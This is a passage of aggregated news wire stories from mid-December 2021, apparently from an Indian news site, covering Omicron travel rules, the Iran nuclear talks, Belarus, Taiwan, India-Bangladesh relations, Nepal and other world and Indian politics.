in Maharashtra, a senior state public health department official said. The Omicron variant of coronavirus is spreading fast in the world and Maharashtra is likely to see a surge in cases infected by it in January next year. The cases of Omicron infection will be found in rural areas as well as in cities, Additional Chief Secretary Pradeep Vyas said while making a presentation in the Maharashtra cabinet meeting in Mumbai. Under the Centre's new norms, RT-PCR tests are mandatory for passengers arriving from the "at-risk" countries and they can only leave the airport only after the results come. Passengers coming from 'at-risk' countries to six major Indian airports have to compulsorily pre-book for the on-arrival RT-PCR test from December 20 onwards, the Civil Aviation Ministry said on Tuesday. However, it clarified that in case a person faces any difficulty in pre-booking the test, the passenger must not be denied boarding. The six airports are in Delhi, Mumbai Kolkata, Chennai, Bengaluru and Hyderabad. According to the Union health ministry, 'at-risk countries include those in Europe including the United Kingdom, South Africa, Brazil, Botswana, Zimbabwe, Tanzania, Hong Kong, China, Ghana, Mauritius, New Zealand and Israel. Also, two percent of the passengers arriving on flights from other countries are being tested randomly. (Disclaimer: This story is auto-generated from a syndicated feed; only the image & headline may have been reworked by www.republicworld.com) In a joint statement, ambassadors from the United Kingdom, France and Germany to the United Nations said Iran's nuclear program "has never been more advanced than it is today." Speaking ahead of a Security Council meeting on non-proliferation, French Ambassador Nicolas de Riviere called the situation "grave." "This nuclear escalation is undermining international peace and security and the global nonproliferation system," de Riviere said. Flanked by the ambassadors from Germany and the UK, de Riviere said "we are nearing the point where Iran's escalation of its nuclear program will have completely hollowed out the Joint Comprehensive Plan of Action. The head of the United Nations nuclear watchdog Rafael Mariano Grossi told The Associated Press on Tuesday, that he wanted to tell Iran that there was no way around his inspectors at the International Atomic Energy Agency. Grossi has warned that the restrictions faced by his inspectors in Iran threaten to give the world only a very blurred image of Tehran's program as it enriches uranium closer than ever to weapons-grade levels. Since the nuclear deal's collapse, Tehran has started enriching uranium up to 60% purity a short technical step from weapons-grade levels of 90%. The deal limited enrichment to 3.67%, enough to be used in a power plant. The nation's stockpile of enriched uranium grows every day far beyond the scope of the 2015 accord, which saw Tehran agree to limit its nuclear program in the exchange for the lifting of economic sanctions. It also spins ever-more advanced centrifuges also barred by the deal. While stressing he wasn't involved in the political negotiations ongoing in Vienna, Grossi acknowledged the advances made by Iran since the deal's collapse meant there would have to be changes to the original agreement. Iran insists its program is peaceful, U.S. intelligence agencies and the IAEA have said Iran ran an organized nuclear weapons program until 2003. (Disclaimer: This story is auto-generated from a syndicated feed; only the image & headline may have been reworked by www.republicworld.com) After a secret 173-day trial, a Belarusian court found popular blogger and major opposition member Syarhei Tsikhanouski guilty of inciting mass disturbance and social hate and sentenced him to 18 years in jail on December 14. It was the latest in a string of harsh penalties meted out to political opponents of President Alexander Lukashenko in the run-up to the 2020 election. Syarhei Tsikhanouski, Belarusian Youtuber and the husband of renowned and exiled opposition leader Sviatlana Tsikhanouskaya, was deported to a 'maximum security colony,' in what is widely considered as retaliation by Lukashenko (who is known as 'Europe's last dictator' due to his autocratic style of governing). It comes after his dictatorship was accused earlier this year of fabricating a bomb threat in order to force a commercial Ryanair flight carrying a dissident journalist to land in Minsk, allowing Belarusian police to apprehend him. Putin, accused of inciting tens of thousands of migrants to travel to Belarus' borders Belarus' close ally, Russian President Vladimir Putin, is also accused of inciting tens of thousands of migrants to travel to Belarus' borders with Poland, Latvia, and Lithuania, triggering the ongoing border crisis in Eastern Europe. Tsikhanouski, who was detained and imprisoned in May of last year as his popularity among voters grew, was sentenced on December 14, at the Gomel regional court after a 173-day trial. The charges had been levelled against him, and he had consistently refuted them. His wife, speaking from exile in Lithuania with their two children, dubbed the verdict "revenge" and pledged to continue her efforts to depose Lukashenko, 67, who has been in power since 1994, according to The Independent. She went on to say that it's also a way of threatening her. Lukashenko attempted to silence Syarhei by imprisoning her, but he failed. Tsikhanouski had faced a maximum penalty of 20 years, but his prosecutor, Denis Mikushev, told state media that the court had given him mercy by only giving him 18 years. His wife Sviatlana ran in his place after his detention just three months before the presidential election. Despite having no prior political experience, the schoolteacher was able to rally a sizable following as the public got tired of Lukashenko's autocratic regime. (With inputs from agencies) Image: AP Cypriot President Nicos Anastasiades and Turkish Cypriot leader Ersin Tatar on Tuesday attended a reception hosted by Colin Stewart, the new head of the U.N. peacekeeping mission on Cyprus. Stewart hosted the leaders at an informal reception at the Ledra Palace Hotel, in the buffer zone of the island's divided capital Nicosia. It was billed primarily as a social event geared toward breaking the ice between the two leaders in the absence of formal talks. "We have energy to continue to push your people to solve these little problems that really affect the lives, the everyday lives of Cypriots," Stewart said. The event came after Egyptian Foreign Minister Sameh Shoukry rebuffed a Turkish push for a two-state peace deal on ethnically divided Cyprus, saying that any talks should adhere to a U.N.-backed road map reunifying the east Mediterranean island nation as a federation. Cyprus was split in 1974 when Turkey invaded following a coup aiming at union with Greece - only Turkey recognizes a Turkish Cypriot declaration of independence in the island's north where it keeps more than 35,000 troops. Turkey and the breakaway Turkish Cypriots insist that a two-state deal is the only feasible alternative after nearly a half-century of failed talks aimed at a forging a federation made up of separate Turkish Cypriot and Greek Cypriot zones. Greek Cypriots fear a two-state deal would entrench Turkish control potentially over the entire island as well as hydrocarbon deposits off its shores. (Disclaimer: This story is auto-generated from a syndicated feed; only the image & headline may have been reworked by www.republicworld.com) The leaders of Gulf Arab states arrived in Saudi Arabia on Tuesday for their annual summit, a united meeting that comes amid heightened tensions over Irans nuclear program and after a yearslong boycott of Qatar. The Gulf Cooperation Council Summit, previously a contentious affair given that three out of the six members cut ties with Qatar in 2017, follows a rare regional tour by the Saudi crown prince to rally support among neighboring allies. At the summit nearly a year ago Saudi Arabia spearheaded an end to the four-nation embargo of Qatar, restoring diplomatic ties after years of hostility. The UAE, Egypt and Bahrain have since followed suit in taking steps to reopen borders and mend ties with Doha. The leaders convened as talks to revive Tehrans tattered 2015 nuclear deal with world powers have floundered in Vienna. Participants also discussed the ongoing war in Yemen which has seen involvement from both the UAE and Saudi Arabia, and has sparked one of the world's worst humanitarian crises. (Disclaimer: This story is auto-generated from a syndicated feed; only the image & headline may have been reworked by www.republicworld.com) A person who was on Israeli Prime Minister Naftali Bennett's flight back from the United Arab Emirates has tested positive for COVID-19, the prime ministers office said Tuesday. Bennett returned to Israel on Monday from a historic two-day trip to the Gulf Arab state, the first by an Israeli leader to the country, which recently normalized ties with Israel. He was in a three-day quarantine on Tuesday as per Health Ministry regulations, which require all returning travelers, even those vaccinated, to self-isolate. He was expected to take a coronavirus test on Wednesday, also in line with health regulations, and then end his quarantine if he tests negative, the prime minister's office said. Bennett's office did not specify who the person was who tested positive. Bennett was meant to be accompanied by a phalanx of Israeli and foreign journalists and a sizeable entourage on the visit. But a day before his departure, journalists were notified that because of concerns over omicron, the new coronavirus variant, they would not be joining and that Bennett's entourage would be downsized. Since the omicron strain emerged, Israel has sealed its borders to foreign tourists and placed limits on Israelis flying abroad. It has barred travel to all countries in sub-Saharan Africa and imposed self-quarantine requirements for all returning travelers. On Tuesday, the government said it was expanding restrictions and would require people to show proof of vaccination in order to enter closed shopping malls beginning Friday. Israel also is expanding its travel ban to include a number of additional countries, including the U.K. and Denmark. Bennetts trip this week to the UAE came against the backdrop of nuclear talks between world powers and regional archrival Iran over its tattered nuclear deal. The trip also cemented the normalization agreement signed by Israel and the UAE under the U.S.-brokered Abraham Accords, which also saw similar deals between Israel and Bahrain, Sudan and Morocco. (Disclaimer: This story is auto-generated from a syndicated feed; only the image & headline may have been reworked by www.republicworld.com) The United Arab Emirates (UAE) has informed the United States (US) that it will suspend discussions to acquire F-35 fighter jets, reaper drones and other advanced ammunitions, all a part of a multimillion deal inked during the Trump administration. On Tuesday, Wall Street Journal reported that the Emirati administration had already conveyed their intention to Washington reasoning that the high weaponry was too onerous and could jeopardise UAEs security. Abu Dhabi reportedly intends to use the US developed weapons to safeguard its territory from Chinese espionage. The U.A.E. has informed the U.S. that it will suspend discussions to acquire the F-35, an Emirati official was quoted as saying by Wall Street Journal. He further said that technical requirements, sovereign operational restrictions and cost/benefit analysis led to the re-assessment. Regardless, he said the US remained the kingdoms most preferred supplier of advanced defence weapons and a discussion on the deal could be re-started in the near future. Meanwhile, the UAE has announced its plans to purchase South Korean-made mid-range surface to air missiles in a deal that is expected to reach US$3.5 billion. The revelation was made by the Emirati Ministry of Defence which stated that the Korean Air defence projectiles ( M-SAM) would bolster the defence capabilities of the country. Notably, the M-SAM system or Cheolmae-2, developed by South Koreas Agency of Defence Development (ADD) with aid from Russia is considered one of the most advanced missiles in the world. No confirmation on the deal yet As of now, no confirmation has been made by Seoul on whether or when the deal would materialise. However, an official at the South Korean Ministry of Defence told South China Morning Post that the deal was still under negotiation. A separate report by Gulf Today quoted Tariq Abdul Rahim Al Hosani, CEO of the Tawazun Economic Council, as saying that the UAE had reached very advanced stages in negotiations with the Korean side and could close the deal very soon. Tawazun Economic Council is the procurement agency for the UAEs Ministry of Defence and Abu Dhabi Police. (Image: AP/Pavel Golovkin) As Bangladesh marks the golden jubilee of its liberation from Pakistan, a top official of the Bangladesh Army, Major General SM Kamrul Hasan, noted that the history of the 1971 Liberation War is not complete without the story of the Indian side. Speaking to ANI from the Delhi parade ground on the occasion of 'Vijay Parv', the army officer mentioned that the syllabus of Bangladesh educational institutions and military tell the story of India's unwavering support to Bangladesh in the civil war against Pakistan. It is pertinent to mention that Major General Hasan is in India to celebrate the victory of Bangladesh in the 1971 war with veterans of the Bangladesh Army, Mukti Bahini, and the Indian Army who participated in the war. "The syllabus of Bangladesh military institutions, as well as educational institutions, adequately reflect the history of the Liberation war. It is an expression of the deep-rooted ties that we have with India and the cooperation that India offered Bangladesh in the 1971 war. We gratefully remember that and we look forward to strengthening our relationship further in days to come," Major General Hasan told ANI. Talking about his visit to India, Major General Hasan said that every year the veterans and on-duty Bangladesh army officers look forward to the event "eagerly." Expressing heartfelt gratitude towards New Delhi, he also added that he was excited about the tour. The event was graced by retired Lieutenant Colonel Shawkat Ali of Bangladesh Army who recalled the Indian Army's contribution to the establishment of a democratic Bangladesh. The young generation of Bangladesh remembers with gratefulness. They also look forward to furthering our relations in the days to come: Major General SM Kamrul Hasan, Bangladesh Army, in Delhi pic.twitter.com/2UfqCnV0su ANI (@ANI) December 14, 2021 President Kovind to celebrate 50th independence of Bangladesh in Dhaka In his first foreign trip since the inception of the pandemic, President Ram Nath Kovind will be in Dhaka from December 15 to 17 and participate in Bangladesh's Victory Day. The invitation to the state head was extended by Bangladesh's President Md. Abdul Hamid. President Kovind will be accompanied by his wife and daughter and noted dignitaries minister Subhas Sarkar and Member of Parliament Rajdeep Roy. Highlighting the significance of the visit following PM Narendra Modi's visit in March, Indian Foreign Secretary Harsh Vardhan Shringla on Tuesday said that It is of great historical significance. The year 2021 commemorates the golden jubilee of Bangladeshs independence; it commemorates fifty years of the establishment of diplomatic relations between our two countries, as reported by ANI. Delhi: President Ram Nath Kovind leaves for Dhaka for a state visit to Bangladesh. He will attend Bangladesh's 50th Victory Day celebrations as the guest of honour. pic.twitter.com/kUwvx6V9eI ANI (@ANI) December 15, 2021 On the other hand, Defence Minister Rajnath Singh on Sunday unveiled the 'Wall of Fame' at India Gate, New Delhi to commemorate the heroes of the 1971 Liberation War. He also inaugurated the 'Swarnim Vijay Parv' to celebrate India's bravery and valour in supporting Bangladesh to win against Pakistan. Recalling India's indebtedness to the martyrs of the war, Singh also expressed his happiness in progressing rapidly in the path of development in bilateral ties with Bangladesh, "which is an inspiration for the rest of the world." (With inputs from ANI) (Image: ANI) Taiwan has stated that Nicaraguas decision to suspend all ties with the island is owing to China targeting Taipeis diplomatic allies after Beijing was excluded from the US-hosted Democracy Summits. Nicaragua last week broke its longstanding diplomatic ties with Taiwan and switched its allegiance to China in a recognition of the Communist Partys one China principle as Beijing considers the self-ruled democratic island as its own breakaway province. Taiwanese Foreign Minister Joseph Wu informed reporters on the sidelines of a forum on regional security that when the democratic nations convened for the virtual summit hosted by POTUS Joe Biden, China was excluded and it was also a target. So, Wu added, China chose the opportunity to target the islands diplomatic allies. In Summits For Democracy, Taiwan was represented by its Minister without Portfolio Audrey Tang and Representative to the US Hsiao Bi-khim. Notably, China didn't get an invite to the event. Additionally, Focus Taiwan quoted Wu as saying that it was heartbreaking to learn about Nicaragua severing ties with Taipei. Now, Taiwan is left with only 14 allies as China continues to float threats to the global community. It is pertinent to mention here that Taiwan has been governed autonomously since 1949 but Beijing considers the island as a rebel province and has even threatened to use military force. The media outlet quoted Wu as saying, It was heartbreaking for us to lose a diplomatically. We in the foreign ministry had all done our best to maintain the official relationship but to no avail. Taiwan calls democracy summit success Without China on the participants invitation list, Taiwans foreign ministry on Tuesday hailed the US Democracy Summit a success. The ministry said on Twitter, Rep. [Hsiao Bi-khim] represented #Taiwan with aplomb, & joined @POTUS & other leaders of the free world in strategizing ways to strengthen democratic resilience & turn back the tide of authoritarianism. The summit organised by the United States included representatives and leaders from over 100 nations including India. The forum was both opened and concluded by a speech from US President who called on collaboration among the democracies across the globe. However, the notable absentees were Russia and China. (IMAGE: AP) Tajikistan on Saturday became the first country in the world to mandate the coronavirus vaccination for all its citizens aged 18 and above. The sweeping mandate was announced by Tajikistans Republican Headquarters for Strengthening Anti-Epidemic Measures against COVID-19 in an official statement on July 3. Officials at the anti-coronavirus task force urged all the adults in the country to visit the nearby vaccination centers and get jabbed against the COVID-19 as a part of the mandatory rule to combat the spread of the newly emerging delta variant. According to the decision [of the commission], vaccination against coronavirus is mandatory for citizens over 18 years of age, the brief statement read, as cited by BNO news service. People who have not been vaccinated against coronavirus infection should consult a family doctor or local health facility, it further stated. In January, earlier this year, the Tajik President Emomali Rahmon had declared the central Asian country COVID-19 free in a packed parliament where officials were seen adhering to the mask rule, although no social distancing was observed. Tajikistan today is without COVID-19, countrys leader had proudly announced, attracting flak from the regional observers and experts, Critics widely criticised the announcement, which they believed, was a conscious move to project [Rahmons] government as perpetually strong and confident leadership that had gotten the pandemic under control. Despite the claims of victory over the coronavirus pandemic, the country reported fresh onslaught of outbreaks with a significant spike in the rate of hospitalisation by end of May, medics told Eurasianet. In the northern Sughd region, head physician at a local hospital Abumavlon Abdullozoda told the on-ground reporters that the hospitals were largely relying on the signs of ground-glass opacity in the patients lungs on MRI scan to detect the coronavirus infection, as most patients got a negative PCR test despite symptoms. The doctor also revealed that a Yemini national that returned from the overseas and was asked to go under quarantine at a hotel did not have his positive diagnosis reflect on the Health Ministrys COVID-19 data. Countrys RFE/RLs Tajik service, Radioi Ozodi announced late May that the medic was fired by the health ministry. Country procured 192,000 doses of AstraZeneca In an efforts to curb the rising infections, Tajikistan procured 192,000 doses of the AstraZeneca-Oxford COVID-19 vaccines via the COVAX Facility. It was the first jabs shipment to arrive in the Central Asia and the second such shipment to the WHO European Region. Tajikistan kicked start its vaccination campaign in a historic step towards COVAXs goal of ensuring equitable distribution of at least 2 billion doses of COVID-19 vaccines by the end of 2021, according to UNICEF. On Wednesday, a group of six French lawmakers arrived in Taiwan for a five-day visit. It comes after China tried to hinder a similar trip led by a group of French parliamentarians in the month of October. The latest delegation is being led by Francois de Rugy, the chief of the Taiwan Friendship group in France's National Assembly. The delegation is expected to hold meetings with Taiwanese President Tsai Ing-wen and other senior government officials, the Associated Press (AP) reported. "We want to hold discussions on dimensions of the relations between Taiwan, the European Union (EU) and France on the economy and culture and all the issues at stake for our countries," de Rugy told reporters at the airport as per AP. In October, another group of French lawmakers had met Tsai, Taiwanese economic and health officials, and the Mainland Affairs Council. The visit was part of a series of annual parliamentary meetings that had been going on for years. China attempted to get the previous visit cancelled, claiming that it would not only harm China's basic interests and impair Chinese-French relations but would also harm France's "reputation and interests." China considers Taiwan to be part of its sovereign territory and contends that the self-governing island democracy should not have official government exchanges with other nations. Taiwan, on the other hand, fought Chinese aggression by strengthening strategic connections with democracies, especially the United States, which Beijing has frequently opposed. Meanwhile, Chinese Foreign Ministry spokesman Zhao Lijian told reporters "China firmly opposes any types of official and political contacts between Taiwan and nations with diplomatic links with China. He also called on countries to sincerely abide by the one-Chia policy. The Communist Party's mouthpiece Global Times termed the visit of the French delegation as an "insignificant stunt by trivial French politicians." Notably, China has often retaliated against European states, accusing them of coming "too close" to Taiwan or infringing on other "core interests." Baltic lawmakers visit Taiwan It is significant to mention here that earlier in November, lawmakers from all three Baltic states met with Taiwanese President Tsai. It was the first time that members of parliament from Latvia, Lithuania, and Estonia have been to Taiwan together. President Tsai greeted the leaders who had come to attend the '2021 Open Parliament Forum.' Tsai noted that Taiwan shares values and experiences with the three countries. She also stated that Taiwan and the Baltic countries have comparable histories of defying the authoritarian government and battling for freedom. (With inputs from AP) Image: AP Foreign Secretary Harsh Vardhan Shringla on Tuesday called Bangladesh a central pillar of Indias Neighbourhood First policy and stated that Dhaka is New Delhis largest trade partner in South Asia. While speaking at a special Ministry of External Affairs briefing, Shringla said that India is Bangladesh's most important economic partner as well as the largest trade partner. The Foreign Secretary went on to say that the bilateral trade between the two nations grew at an unprecedented rate of 14% during the COVID-19 pandemic. "Bangladesh is a central pillar of our Neighbourhood First policy. It is also the relationship where this policy intersects the element of our Act East policy. India today, is Bangladesh's most important economic partner and Bangladesh is India's largest trade partner in South Asia. India is the second-largest trade partner of Bangladesh," Harsh Vardhan Shringla said. Recalling PM Narendra Modis visit to the neighbouring country earlier this year, Shringla said that Bangladesh is the only country that is visited by PM Modi, President Ram Nath Kovind and EAM S Jaishankar. He added that the two nations jointly even commenced Maitree Diwas on December 6, which is jointly celebrated with New Delhi and Dhaka and also in capitals all over the world. Both Prime Ministers issued a special message on this occasion, Shringla said. In March, our Prime Minister paid a State visit to Bangladesh to join the Triveni of celebration. It is the measure of importance that we accord to our relations with Bangladesh that it is the destination of the first post-pandemic visits both President and Prime Minister. It is also the only country visited by the PM, President and Foreign Minister in the short period of time in the recent past, he said. India-Bangladesh 'better connected than ever' Further, the Foreign Secretary informed that despite the pandemic, bilateral trade was at an unprecedented rate of 14% from USD 9.46 billion in 2019 to USD 10.78 billion in 2021. Shringla stated that Bangladesh is also one of our most important" development partners both in terms of value and range of cooperation. We extend our total global development assistance under lines of credit to Bangladesh, he added. Additionally, the Indian minister said that the two countries have been extending various projects to bring direct benefits to the local community. India and Bangladesh are better connected than ever before. Road, rail, air, river and coastal connectivity is increasing and multi-model transports that utilise more than one of these channels is today very much possible, he said. Moreover, Shringla added that joint energy space is steadily emerging, electricity grids are interconnected from east and west with more than 1160 megawatts of power way across from India and Bangladesh. Now, to further enhance the ties between the two neighbouring nations, President Ram Nath Kovind has embarked on a three-day State visit to Bangladesh starting from today. According to ANI, the visit is in the context of the 50th Victory Day celebrations in Dhaka for which Bangladesh President Abdul Hamid invited Kovind in a bid to represent India as a guest of honour. (With inputs from ANI) The head of Irans agency responsible for operating nuclear energy and nuclear fuel cycle installations has termed some anti-Iran accusations by the United States and Israel as "psywar". Speaking to reporters in Tehran, the head of Atomic Energy Organization of Iran (AEOI) Mohammad Eslami accused Israel and the West of running a campaign that aims to sabotage his countrys scientific progress. His statement comes as the seventh round of the 2015 Iran Nuclear Deals ended with US diplomats walking out, claiming that the Islamic Republic wasnt serious and had not stood firm with the concessions made by its former president Hassan Rouhani. Eslami said, "We are facing a campaign that is, in no way, willing to see Iran's scientific and technological progress." The deal, signed in 2015 between Iran and other major world powers, including the United States, France, Britain, China, Russia, and Germany (P5+1), saw Washington lifting economic sanctions against Tehran and in return, the Islamic Republic agreed to bring down its uranium enrichment programme. However, in 2018, then US President Donald Trump pulled his country out of the pact. 'Iran has accepted all its commitments' While Washington claimed that Tehrans proposed conditions to resume the pact were below satisfaction, the Iranian nuclear czar said that Tehran had accepted all its commitments made as a part of the deal. Eslami stated that all the parties, under the 2015 Nuclear deal, are required to fulfil their commitments, according to Xinhua. Notably, Eslami had, on Sunday, said that his country, particularly AEOI, remains committed to the set of international regulations when it comes to the nuclear industry. "Contrary to the fabricated image created by the western and some of the region countries, in the public opinion, claiming the nuclear industry is merely aimed at enrichment purposes, the scope of this industry encompasses fields such as modern agriculture, medical, industry, environment, and various grounds affecting the national industry," he had said at the 15th festival session of young producers, managers and 13th round of Industry, Mine and Trade lasting figures. "We have tried to adjust our quality, quantity policies with the IAEA standards in order to utilize our capacities in accordance with such rules. With respect to the nuclear electricity generating plants, we follow a 10/000 MW output target, which will help the industrial companies and knowledge based entities to cooperate with the leading international companies," he added. (Image: NCRI) Israeli Prime Minister Naftali Bennett, on Tuesday, held his maiden phone call with the newly elected German Chancellor Olaf Scholz, inviting him to the Middle Eastern country for a visit. According to a readout of the conversation, both the leaders discussed a myriad range of issues including regional security, threats from Iran increasing nuclear power inter alia. Germany is a part of the 2015 JCPOA deal which aims to stop Tehran from acquiring nuclear weapons. Olaf Scholz was appointed as the 9th Chancellor of Germany last week, ending the almost two-decade-long Golden Era of Angela Merkel. During the conversation, Bennett thanked his German counterpart for his support of the Jewish regime. Bennett particularly emphasised the international community not falling into what he previously described as Irans nuclear blackmail. "Despite Iran's violations and undermining of the nuclear inspections, Iran will be arriving at the negotiation table in Vienna, and there are those who think they deserve to have their sanctions removed and hundreds of billions of dollars poured right into their rotten regime. They're wrong", the Israeli prime minister has said in November. Prime Minister Naftali Bennett spoke with German Chancellor @OlafScholz, and congratulated him on assuming office. The two leaders agreed to continue the fruitful cooperation between and and discussed the importance of preventing Iran from attaining nuclear weapons. Prime Minister of Israel (@IsraeliPM) December 14, 2021 Earlier on Sunday, Bennett landed in United Arab Emirate (UAE), marking the first-ever visit by a Jewish PM to the Arab state. During the much-vaunted visit, Bennett met UAE Crown Prince Sheikh Mohammad bin Zayed al-Nahyan on Monday, along with other senior officials. Sharing a video in the aftermath, the Jewish leader expressed his gratitude to the Emirati kingdom and said that he is returning with 'optimism.' 'Meaningful talks' Throughout the day we had meaningful, in-depth and straightforward talks about our two nations, about the region and about our economy and technology and what we can do together. Terming his visit as 'good,' Bennett thanked the Emirati de facto ruler for 'very warm hospitality.' The region, security, technology along "what can be done together tops the agenda list. I am flying back to Israel very optimistic that this relationship can set an example of how we can make peace here in the middle east. I am finishing a good visit here in the United Arab Emirates, Bennett said. (Image: AP) Prime Minister of Nepal, Sher Bahadur Deuba on Wednesday logged a remarkable victory in the ongoing General Convention for the election of the President of the Nepali Congress. PM Deuba secured a majority of 2,733 votes out of 4,623 votes that were cast, ANI reported citing election officer Sunil Pandey. The outcome of the trust votes paved the way for PM Deuba to reinstate his seat for the second tenure. "Election body is yet to announce results officially but PM Deuba has been elected for the second tenure as the Party President," election officer Pandey said in a statement. As per reports, the 75-year-old Nepali PM party presidency was challenged by five other contestants Dr Shekhar Koirala alongside three other candidates running for president of the Nepali Congress. While Dr. Koirala secured 1,702 votes, other candidates like Bimalendra Nidhi, Prakash Man Singh and Kalyan Gurung bagged 249, 371 and 22 votes, respectively in the first round of the 14th General Convention of Nepal Congress. Meanwhile, voting for the second round is underway and so far no candidate has recieved 50% of the votes, ANI reported. More about PM Sher Bahadur Deuba Sher Bahadur Deuba was sworn in as Prime Minister of Nepal on July 13, 2021, after the country's apex court ruled in his favour. The verdict came against the plea filed by the opposition alliance comprising of 146 signatures of parliamentarians. After much deliberation over the content of the letter of appointment, PM Deuba recieved a vote of confidence in the House of Representatives under Article 76 (5) of the Nepal Constitution. The court decision came as a major glow to Deuba's opposition PM candidate KP Sharma Oli, who dubbed the court ruling "improper," later accepting it in writing. Born on June 13, 1946, Nepali PM Deuba has remained active in politics since his college days. He served as the President of the Nepal Students' Union for a long time before he was jailed for 9 years for protesting against King Mahendra's autocratic rule. Deuba was elected to the House of Representatives in 1991 and also served as Minister of Home Affairs in Girija Prasad Koirala-led government. The incumbent Nepal Congress supremo has also been elected PM for 4 terms, although, not consecutively. Kathmandu under Deuba has actively sought support from New Delhi and over time invited Bhartiya Janta Party (BJP) leaders for engaging in party-to-party exchanges and interactions. (With ANI inputs) (Image: AP) President Ram Nath Kovind who is visiting Bangladesh to attend the 50th Victory Day celebrations of the country from December 15 to 17, held talks with Bangladeshi PM Sheikh Hasina on Wednesday in Dhaka. The Ministry of External Affairs apprised that Kovind and Hasina reviewed progress in the multifaceted and comprehensive bilateral ties. Arindam Bagchi, the spokesperson for the Ministry of External Affairs, stated that the two leaders recalled the spirit of the 1971 Liberation War and expressed satisfaction at the joint celebration of Maitri Diwas. PM Sheikh Hasina called on President Kovind @rashtrapatibhvn. Both sides reviewed progress in the multifaceted & comprehensive bilateral ties. The two leaders also recalled the spirit of 1971 Liberation War and expressed satisfaction at the joint celebration of #MaitriDiwas. pic.twitter.com/SW0rIKnKCR Arindam Bagchi (@MEAIndia) December 15, 2021 President Ram Nath Kovind in Bangladesh Earlier in the day, Bagchi termed President Kovind's visit to Bangladesh a 'grand beginning.' It was learned that In a special gesture, President HE Md. Abdul Hamid and First Lady Rashida Hamid welcomed President Kovind and First Lady Savita Kovind, in Dhaka. Accorded a red carpet welcome, a 21-gun salute, and a Guard of Honour. During the day, President Kovind paid homage to Sheikh Mujibur Rahman at Bangabandhu Memorial Museum, the place which bears testimony to the life & work of the beloved Father of Bangladesh. The President then held talks with Foreign Minister Dr AK Abdul Momen and discussed future joint projects, including in the area of connectivity. 50 years of India-Bangladesh diplomatic relations The year 2021 marks the 50th anniversary of the liberation of Bangladesh and the birth centenary of Bangabandhu Sheikh Mujibur Rahman. To mark the 50th anniversary of the 1971 Indo-Pak war that led to the liberation of Bangladesh, India will also host several events. On December 16, 1971, more than 93,000 Pakistani troops surrendered before the Indian Army's joint forces and the "Mukti Bahini", which resulted in the formation of Bangladesh. Earlier in March, Prime Minister Narendra Modi had visited Bangladesh and participated in the celebrations of the golden jubilee of Bangladesh's independence, the birth centenary of Bangabandhu Sheikh Mujibur Rahman and 50 years of establishment of diplomatic ties. The MEA said, "Bangladesh is a major pillar of India"s neighbourhood first policy". The statement further said that both countries aim to strengthen ties in diverse areas ranging from security, border management and defence, water resources, trade, transport and connectivity among others as they share progressive, comprehensive and substantial cooperation. It also mentioned that despite COVID pandemic challenges, both India and Bangladesh closely cooperated in addressing the situation. (Image: @MEAIndia/TWITTER) Russian President Vladimir Putin, on December 14, held a telephone conversation with his French counterpart Emmanuel Macron wherein he deliberated upon a range of issues, including the European migrant crisis, Ukrainian situation amongst others. According to a readout of the conversation, both sides presented their principled assessments of the current situation in the ex-Soviet satellite state but Putin particularly emphasised the violation of the Minsk assessment. Notably, the Minsk protocol is a tripartite agreement that aims to solve the crisis in the Donbas region. It was also noted that the Ukrainian authorities are purposefully aggravating the situation on the line of contact, and are doing so with the complicity of several Western countries. In addition, modern weapons are being pumped into Ukraine, which poses a direct threat to Russia's security, an excerpt from the conversation stated. In addendum, Putin also called out for the immediate launch of international talks to develop legally stated guarantees to forestall NATOs further eastward expansion. The conflict in the Nagorno-Karabakh region was also brought up on the discussion table. Putin and Macron both agreed to maintain close contact in future. "The President emphasised the importance of immediately launching international talks to develop legally stated guarantees to forestall NATOs further eastward expansion and the deployment of weapons that threaten Russia in neighbouring states, primarily, Ukraine". Telephone conversation with President of France: joint efforts in fighting the pandemic, the migration crisis on the Belarus border https://t.co/znCSE265bB President of Russia (@KremlinRussia_E) December 14, 2021 Russian escalation in Donbas continue Since the beginning of this year, the Russian Federation has mobilised troops near the Donbas region of Ukraine. This has escalated fears of a possible annexation of the erstwhile Soviet state by Russia. More recently, Ukrainian intelligence services have also predicted that a large scale escalation could take place as early as next month. Amidst all this, US President Joe Biden has pledged unwavering support to Ukraine and also warned Russian President Vladimir Putin of economic sanctions if his troops make any annexation attempts on Ukraine. (File Image: AP) CMs' Conclave: PM Modi Urges BJP CMs To 'carve Niche For Govts', 'focus On Ease Of Living' At the Chief Ministers conclave held by Prime Minister Narendra Modi on Tuesday in Varanasi, the PM urged all the Chief Ministers of the BJP-ruled states to carve their niche in some or other sectors of governance during the BJPs regime. The meeting was held on the second day of PM Modi's visit to his parliamentary constituency on December 14. Read more here Sushant Singh Rajput's Sister & Fans Hold Candlelight Vigil Seeking Justice For Late Actor Eighteen months since the untimely death of Sushant Singh Rajput, his fans and supporters continue to seek justice for the late Bollywood actor. The 34-year-old was found hanging at his residence in Mumbai on June 14, 2020, and several angles pertaining to his death have been probed since his tragic demise. Read more here Gangster Suresh Pujari Deported To India From Philippines; To Be Brought Back To Mumbai Gangster Suresh Pujari, who is wanted in several extortion cases has been deported to India from the Philippines, a senior police official said on Wednesday. Pujari is wanted in extortion cases in Mumbai and Karnataka and several other places like Thane, Kalyan, Ulhasnagar and Dombivli. He was brought back to India late Tuesday night after he was arrested and extradited from the Philippines. Read more here Punjab Polls: BJP Mulls Allying With Captain's Lok Congress, Calls Party 'like-minded' Nearly a week after meeting Captain Amarinder Singh, Union minister and Bharatiya Janta Party (BJP's) in charge for Punjab polls Gajendra Singh Shekhawat on Tuesday said Captain's Punjab Lok Congress and the saffron party are likely to join hands for the upcoming assembly polls in the state. He also said the talks between the two parties are in progress in this regard. Describing Lok Congress as a 'like-minded' party, Shekhawat added that both parties hold identical views on several issues. Read more here Lakhimpur Violence Probe: Owaisi Slams PM For Not Sacking Ajay Mishra; Draws UP Polls Link After the UP SIT concluded that the Lakhimpur violence was a pre-planned conspiracy, Asaduddin Owaisi lambasted PM Modi for not sacking Union MoS Home Ajay Mishra. The latter's son Ashish Mishra is one of the 13 accused persons who have been arrested in connection with this case and are currently in judicial custody. On Tuesday, the Chief Judicial Magistrate in Lakhimpur Kheri conceded to the prosecution's request adding Sections 307 (attempt to murder) and 326(voluntarily causing grievous hurt by dangerous weapons or means) and sections of the Arms Act to the FIR while dropping Sections 279, 304A and 338. Read more here Mamata Politicises PM Modi's Ganga Dip; Avers 'don't Need Character Certificate From BJP' Addressing a gathering in poll-bound Goa, WB CM Mamata Banerjee politicised PM Modi taking a holy dip in Ganga during his visit to Varanasi on Monday. Referring to the PM's Varanasi tour where he inaugurated the Kashi Vishwanath Dham and his offering prayers at the 